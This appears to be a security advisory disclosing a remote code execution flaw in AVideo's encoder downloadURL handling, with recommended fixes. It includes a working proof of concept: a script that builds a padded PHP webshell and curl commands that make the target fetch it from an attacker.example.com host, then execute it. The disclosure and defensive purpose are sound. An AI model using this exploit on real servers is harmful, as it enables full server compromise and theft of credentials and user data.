Description

AVideo: Remote Code Execution via PHP Temp File in Encoder downloadURL

Summary

The downloadVideoFromDownloadURL() function in objects/aVideoEncoder.json.php saves remote content to a web-accessible temporary directory using the original URL's filename and extension (including .php). By providing an invalid resolution parameter, an attacker triggers an early die() via forbiddenPage() before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at videos/cache/tmpFile/.

Details

The vulnerability is a race-free file upload leading to RCE, exploiting a logic flaw in the error handling order of operations.

Step 1 — File download preserves dangerous extension:

In objects/aVideoEncoder.json.php, when a downloadURL parameter is provided, the file is downloaded and saved with the URL's original basename:

// objects/aVideoEncoder.json.php:361-365
$_FILES['video']['name'] = basename($downloadURL);  // preserves .php extension
$temp = Video::getStoragePath() . "cache/tmpFile/" . $_FILES['video']['name'];
make_path($temp);
$bytesSaved = file_put_contents($temp, $file);

The format parameter (validated against $global['allowedExtension'] at line 42) is only used later for the final destination filename (line 238), not for the temp file. The temp file uses basename($downloadURL) directly, allowing any extension including .php.

Step 2 — Resolution validation aborts after file write:

After the file is downloaded and written to disk (line 156), the resolution is validated:

// objects/aVideoEncoder.json.php:229-233
if (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) {
    $msg = "This resolution is not possible {$_REQUEST['resolution']}";
    _error_log($msg);
    forbiddenPage($msg);  // calls die() — execution stops here
}

The forbiddenPage() function (in objects/functionsSecurity.php:567-573) detects the JSON content type set at line 26 and calls die():

if (empty($unlockPassword) && isContentTypeJson()) {
    // ...
    die(json_encode($obj));  // line 573 — execution terminates
}

Step 3 — Cleanup never reached:

The decideMoveUploadedToVideos() call at line 243, which would move the temp file to its final destination with the safe format extension, is never reached because forbiddenPage() terminates execution first.

Step 4 — No execution restrictions on temp directory:

The videos/cache/tmpFile/ directory has no .htaccess file restricting PHP execution. The root .htaccess FilesMatch on line 73 blocks extensions matching php[a-z0-9]+ (e.g., .php5, .phtml) but does not match plain .php.

PoC

Prerequisites: An authenticated user account with canUpload permission. An attacker-controlled server hosting a PHP payload file at least 20KB in size.

Step 1 — Prepare the PHP payload (on attacker server):

# Create a PHP webshell padded to >=20KB to pass the minimum size check
python3 -c "
payload = b'<?php echo \"RCE:\".php_uname(); ?>'
padding = b'\n' + b'/' * (20001 - len(payload))
open('shell.php', 'wb').write(payload + padding)
"
# Host it on an attacker-controlled server (e.g., https://attacker.example.com/shell.php)

Step 2 — Trigger the download with invalid resolution:

curl -X POST 'https://target.example.com/objects/aVideoEncoder.json.php' \
  -d 'user=uploader_username' \
  -d 'pass=uploader_password' \
  -d 'format=mp4' \
  -d 'downloadURL=https://attacker.example.com/shell.php' \
  -d 'resolution=9999'

Expected response: {"error":true,"msg":"This resolution is not possible 9999","forbiddenPage":true}

Step 3 — Access the persisted PHP file:

curl 'https://target.example.com/videos/cache/tmpFile/shell.php'

Expected output: RCE:Linux target 5.15.0-... — confirming arbitrary PHP code execution on the server.

Impact

An authenticated user with standard upload permissions can achieve Remote Code Execution on the server. This allows:

Full server compromise — read/write arbitrary files, execute system commands

Access to database credentials and all stored user data

Lateral movement to other services on the same network

Modification or destruction of all video content and platform configuration

Use of the server as a pivot point for further attacks

The attack requires only a single HTTP request (plus hosting a payload file) and leaves no trace in the application's normal upload/video processing logs beyond the download attempt.

Recommended Fix

Fix 1 (Primary) — Validate file extension in downloadVideoFromDownloadURL():

// objects/aVideoEncoder.json.php — in downloadVideoFromDownloadURL(), after line 360
function downloadVideoFromDownloadURL($downloadURL)
{
    global $global, $obj;
    $downloadURL = trim($downloadURL);

    // ... existing SSRF check ...
...
Show more

Fix 2 (Defense in depth) — Move resolution validation before file download:

// objects/aVideoEncoder.json.php — move lines 227-236 to BEFORE line 154
// Validate resolution BEFORE downloading anything
if (!empty($_REQUEST['resolution'])) {
    if (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) {
        $msg = "This resolution is not possible {$_REQUEST['resolution']}";
        _error_log($msg);
        forbiddenPage($msg);
    }...
Show more

Fix 3 (Defense in depth) — Add .htaccess to temp directory:

Create videos/cache/tmpFile/.htaccess:

# Deny execution of all scripts in temp directory
<FilesMatch "\.(?i:php|phtml|phar|php[0-9]|shtml)$">
    Require all denied
</FilesMatch>
php_flag engine off

Mitigation

Aliases

References